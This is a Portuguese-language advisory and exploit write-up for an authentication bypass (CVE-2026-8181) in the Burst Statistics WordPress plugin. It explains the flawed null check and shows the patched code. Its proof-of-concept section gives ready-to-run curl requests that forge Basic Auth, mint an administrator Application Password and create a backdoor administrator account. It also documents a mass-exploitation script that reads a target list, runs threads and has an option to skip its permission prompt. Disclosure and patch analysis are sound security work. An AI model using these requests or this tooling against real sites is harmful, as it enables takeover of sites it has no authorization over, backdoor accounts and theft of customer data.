
O plugin Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) para WordPress é vulnerável a bypass de autenticação.
Resumo da Vulnerabilidade
O plugin WordPress Burst Statistics nas versões 3.4.0 a 3.4.1.1 é vulnerável a uma falha de bypass de autenticação não autenticado que leva à assunção total da conta de administrador. Essa falha crítica permite que um atacante não autenticado que conheça qualquer nome de usuário de administrador gere uma Application Password válida do WordPress para essa conta em uma única requisição HTTP, obtendo acesso persistente de nível administrativo a todo o site.
A vulnerabilidade decorre da função is_mainwp_authenticated() em class-mainwp-proxy.php. Essa função chama wp_authenticate_application_password() e apenas verifica se o resultado é um WP_Error. Ela não verifica se o resultado é, de fato, um objeto WP_User bem-sucedido. Quando o filtro interno do WordPress application_password_is_api_request retorna false — o que ocorre quando a chamada é feita fora do fluxo normal de autenticação da REST API — a função do WordPress retorna null em vez de um WP_Error ou WP_User. Como null não é um WP_Error, a verificação passa e o usuário administrador escolhido pelo atacante é definido como usuário atual via wp_set_current_user().
Depois que o usuário atual é alterado para um administrador, as verificações de capacidade subsequentes passam. O atacante pode então acessar o endpoint REST /burst/v1/mainwp-auth, que cria uma Application Password do WordPress para a conta de administrador e a retorna na resposta. Isso dá ao atacante acesso persistente e completo de nível administrativo.
Plugin Afetado
O Que os Atacantes Podem Fazer
Análise Técnica
O Burst Statistics é inicializado durante o hook plugins_loaded do WordPress, na prioridade 9, dentro de class-burst.php:
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() é o guardião de toda a funcionalidade administrativa. Ele verifica o cabeçalho X-BurstMainWP e chama a função vulnerável:
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// VULNERABLE: wp_authenticate_application_password() returns null
// outside the REST API authentication flow
$is_valid = wp_authenticate_application_password( null, $username, $password );
// BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() Retorna nullA função interna do WordPress wp_authenticate_application_password() possui um filtro:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // Not an API request, skip app password auth
}
Quando chamada fora do fluxo de autenticação da REST API, ela retorna null. O código do Burst Statistics apenas verificava is_wp_error($is_valid) — null não é um WP_Error, então a verificação passava incorretamente.
X-BurstMainWP: 1 com qualquer requisiçãohas_admin_access() aciona is_mainwp_authenticated()wp_authenticate_application_password() retorna null (fora do contexto da API)is_wp_error(null) = false → a verificação passawp_set_current_user($admin_id) é executado/burst/v1/mainwp-authhandle_auth_request() gera uma Application Password do WordPressbase64(username:app_password)// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
Correções aplicadas:
application_password_is_api_request para true para que a validação real da senha ocorraWP_User (não null)hash_equals() para verificar a correspondência do nome de usuárioAlém disso, o check_auth_permission() do endpoint REST foi endurecido para exigir current_user_can('manage_burst_statistics') e verificação explícita de nonce para requisições autenticadas por cookie.
Prova de Conceito
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev
# Step 3: Use Application Password to create a new admin
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
-u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
-d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'
O script exploit_burst_statistics.py automatiza toda a cadeia de ataque:
readme.txt, cabeçalho do plugin ou query strings de assetsX-BurstMainWP: 1 + Basic Auth falso para gerar o tokenRecursos do Exploit
/wp-json/) quanto permalinks não amigáveis (/?rest_route=)ThreadPoolExecutorUso
python3 exploit_burst_statistics.py -t http://target.com --no-confirm
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm
Crie targets.txt:
target1.com
target2.com:8080
192.168.1.50
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm
Recomendações de Correção
Para desenvolvedores e proprietários de sites:
X-BurstMainWP: 1Linha do Tempo
| Data | Evento |
|---|---|
| 2026-05-08 | CVE reservado |
| 2026-05-11 | Fornecedor notificado |
| 2026-05-13 | Divulgado publicamente |
Pesquisador
Referências
Aviso Legal
Estas informações são fornecidas apenas para fins educacionais e de teste de penetração autorizado. A exploração não autorizada de sistemas de computador é ilegal e antiética. Sempre obtenha permissão explícita por escrito antes de testar qualquer alvo que você não possua.
| Campo | Valor |
|---|
| Nome do Plugin | Burst Statistics – Analytics WordPress Focado em Privacidade |
| Slug do Plugin | burst-statistics |
| Versões Afetadas | 3.4.0 – 3.4.1.1 |
| Versão Corrigida | 3.4.2 |
| ID do CVE | CVE-2026-8181 |
| Pontuação CVSS | 9.8 (Crítico) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Tipo de Vulnerabilidade | Bypass de Autenticação (Autenticação Imprópria) |
| CWE | CWE-287 — Autenticação Imprópria |
| Impacto | Assunção Completa do Site — Assunção de Conta de Administrador |
| Capacidade | Impacto |
|---|
| Gerar Application Password para qualquer administrador | Acesso Administrativo Persistente |
| Criar novas contas de administrador via REST API | Proliferação de Contas |
| Instalar plugins / temas | Execução Remota de Código |
| Editar posts, páginas e configurações | Desfiguração do Site |
| Exportar ou excluir todos os dados do site | Destruição / Exfiltração de Dados |
| Acessar WooCommerce / dados de clientes | Vazamento de Dados |
| Opção | Descrição |
|---|
-t, --target | URL de um único alvo |
-l, --list | Arquivo com a lista de alvos (um por linha) |
-T, --threads | Threads para varredura em massa (padrão: 10) |
-o, --output | Arquivo de saída para resultados (padrão: result_burst_statistics.txt) |
-u, --username | Nome de usuário de administrador conhecido (pular enumeração) |
-v, --verbose | Saída de depuração detalhada |
--timeout | Tempo limite de requisição em segundos (padrão: 20) |
--no-confirm | Pular o prompt de confirmação de permissão |
| 2026-05-13 | Patch lançado (v3.4.2) |
| 2026-05-15 | Exploração ativa relatada em ambientes reais |